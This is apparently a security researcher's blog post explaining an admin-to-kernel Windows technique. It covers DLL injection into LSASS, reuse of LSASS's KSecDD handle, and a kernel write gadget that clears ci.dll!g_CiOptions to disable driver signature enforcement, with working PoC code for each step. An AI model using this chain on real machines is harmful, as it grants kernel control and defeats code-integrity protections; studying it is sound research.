March 18, 2024
KExecDD: making LSASS ask nicely for kernel execution
A small Windows internals rabbit hole where an LSASS-only KSecDD interface turns into admin-to-kernel code execution, because apparently that was on the menu.
The idea is simple enough to sound fake: use a KSecDD interface that LSASS is allowed to talk to, convince it to execute an arbitrary kernel-mode address, then use that to patch ci.dll!g_CiOptions.
That sentence contains a lot of Windows nonsense, so let's unpack it before it starts leaking out of the page.
The boring Windows box
KSecDD.sys is the Kernel Security Support Provider Interface driver. LSASS opens a connection to it during startup through lsass.exe!LsapOpenKsec, using IOCTL_KSEC_CONNECT_LSA. After LSASS connects, normal processes do not get to stroll in and claim the same interface.
That part matters. This is not "open device, send funny IOCTL, become kernel." Windows did not leave the front door open. It left a weird side door open, handed the key to LSASS, and then trusted LSASS not to be dragged into nonsense by someone with admin.
The interesting path lives in ksecdd.sys!KsecIoctlHandleFunctionReturn. LSASS can trigger IOCTL_KSEC_IPC_SET_FUNCTION_RETURN, and that path gives LSASS a way to make KSecDD call a kernel-mode address. If you control LSASS, the shape of the bug starts to look less like a door and more like a mail slot big enough to crawl through.
There is a server silo detail too: one connection can be created for each server silo. I did not fully chase the implications of that because the main path was already doing enough crimes for one evening.
The catch
The PoC needs admin, and it needs LSASS to not be running as a protected process. If LSA Protection is enabled, the fun budget is gone. You do not get to inject into LSASS, and the rest of the chain just sits there looking expensive.
So the threat model is not "random app gets kernel." It is admin-to-kernel on a machine where LSASS can still be injected into. That is narrower, but still very funny in the way Windows bugs are funny when you have been awake too long.
Getting into LSASS
The loader is intentionally boring. It enables SeDebugPrivilege, finds lsass.exe, writes the path to exploit.dll into LSASS, and starts a remote thread at LoadLibraryA.
This is the part where every EDR product in the room sits up straight. It is also the least interesting part of the research. The loader is just a delivery truck. The actual weirdness happens after the DLL is running inside LSASS.
FuncAddr = GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlAdjustPrivilege");
// enable SeDebugPrivilege
((NTSTATUS(WINAPI*)(ULONG, BOOL, BOOL, PULONG))FuncAddr)(0x14, TRUE, FALSE, &PreviousValue);
LsassPid = GetLsassPid();
ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, LsassPid);
Allocation = VirtualAllocEx(ProcessHandle, NULL, 0x1000,
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(ProcessHandle, Allocation, FullPath, sizeof(FullPath), NULL);
CreateRemoteThread(ProcessHandle, NULL, 0,
(LPTHREAD_START_ROUTINE)LoadLibraryA,
Allocation, 0, NULL);
Subtle? No. Effective? Unfortunately, yes, if the box is configured in a way that allows it.
Finding the KSecDD handle
Once inside LSASS, the DLL does not need to connect to KSecDD. LSASS already did that during boot. The DLL just has to find the existing handle.
The PoC asks the system for handle information with NtQuerySystemInformation(SystemHandleInformation), walks the handles belonging to the current process, and asks NtQueryObject for their names. When it finds a handle whose name contains KsecDD, that is the one.
while ((Status = NtQuerySystemInformation(0x10, Buffer, BufferSize, 0)) == 0xC0000004) {
free(Buffer);
BufferSize *= 2;
Buffer = malloc(BufferSize);
}
SYSTEM_HANDLE_INFORMATION *Info = (SYSTEM_HANDLE_INFORMATION *)Buffer;
for (i = 0; i < Info->HandleCount; i++) {
HANDLE CurrentHandle = (HANDLE)Info->Handles[i].Handle;
if (Info->Handles[i].ProcessId != GetCurrentProcessId()) {
continue;
}
NtQueryObject(CurrentHandle, 1, NameInformation, BufferSize, &BufferSize);
if (!wcsstr(NameInformation->Name.Buffer, L"KsecDD")) {
continue;
}
// found it
}
I like this part because it feels very Windows: the door is locked, but the process you injected into is already inside the building, so now you are just wandering the hallway reading labels.
Turning the callback into a write
The KSecDD IOCTL gives control over a function pointer-ish path. The PoC points it at a kernel gadget in ntoskrnl.exe:
// mov qword [rcx], rdx
#define NTOSKRNL_WRITE_GADGET 0x53A4B0
// ci!g_CiOptions
#define CI_OPTIONS 0x4D004
#define IOCTL_KSEC_IPC_SET_FUNCTION_RETURN 0x39006f
The gadget is the useful kind of stupid: mov qword [rcx], rdx. Give it a destination in rcx, give it a value in rdx, and you have a write primitive. Very polite. Very cursed.
The PoC resolves the loaded base addresses of ntoskrnl.exe and ci.dll with EnumDeviceDrivers and GetDeviceDriverBaseNameA, then adds the hardcoded offsets. Fragile? Absolutely. Enough for a PoC? Also yes.
if (!_stricmp(DriverName, "ntoskrnl.exe")) {
*WriteGadget = (UINT64)DriverBases[i] + NTOSKRNL_WRITE_GADGET;
continue;
}
if (!_stricmp(DriverName, "ci.dll")) {
*CiOptions = (UINT64)DriverBases[i] + CI_OPTIONS;
continue;
}
The actual poke
The final IOCTL buffer is tiny. One pointer to a structure containing the target RIP and first argument, then a second qword that becomes the value written by the gadget. In this PoC, the destination is ci.dll!g_CiOptions, and the value is zero.
struct {
UINT64 Rip;
UINT64 Arg1;
} IoctlStructure;
FindKernelAddresses(&IoctlStructure.Rip, &IoctlStructure.Arg1);
*(UINT64 *)IoctlBuffer = (UINT64)&IoctlStructure;
// this controls edx; we want to write 0 to g_CiOptions
*(UINT64 *)&IoctlBuffer[8] = 0;
DeviceIoControl(CurrentHandle,
IOCTL_KSEC_IPC_SET_FUNCTION_RETURN,
IoctlBuffer,
16,
NULL,
0,
NULL,
NULL);
And that is the trick. LSASS is allowed to talk to KSecDD. The injected DLL finds LSASS's KSecDD handle. The IOCTL path calls the kernel address you point it at. The gadget turns that call into a write. The write clears g_CiOptions. Driver Signature Enforcement goes away until PatchGuard notices the furniture has been rearranged.
PatchGuard will eventually complain, because PatchGuard's entire job is to wake up later and be mad about exactly this kind of thing. This is not persistence. This is more like kicking open a door and hoping nobody checks the hinge for a few minutes.
Why I liked it
The neat part is not that it patches Code Integrity. That has been done a thousand different ways, each one somehow uglier than the last. The neat part is the route: admin code goes into LSASS, LSASS has the blessed KSecDD relationship, and that relationship can be bent into kernel execution.
It is one of those bugs that feels less like a single mistake and more like a bunch of individually reasonable decisions stacked into a small ladder. LSASS needs special kernel plumbing. KSecDD exposes a special interface. Only LSASS can connect. Admin can inject into LSASS if protection is off. Suddenly the special interface is not so special anymore.
Windows security is often like that. Nothing is on fire until you line up three boring things and discover they form a flamethrower.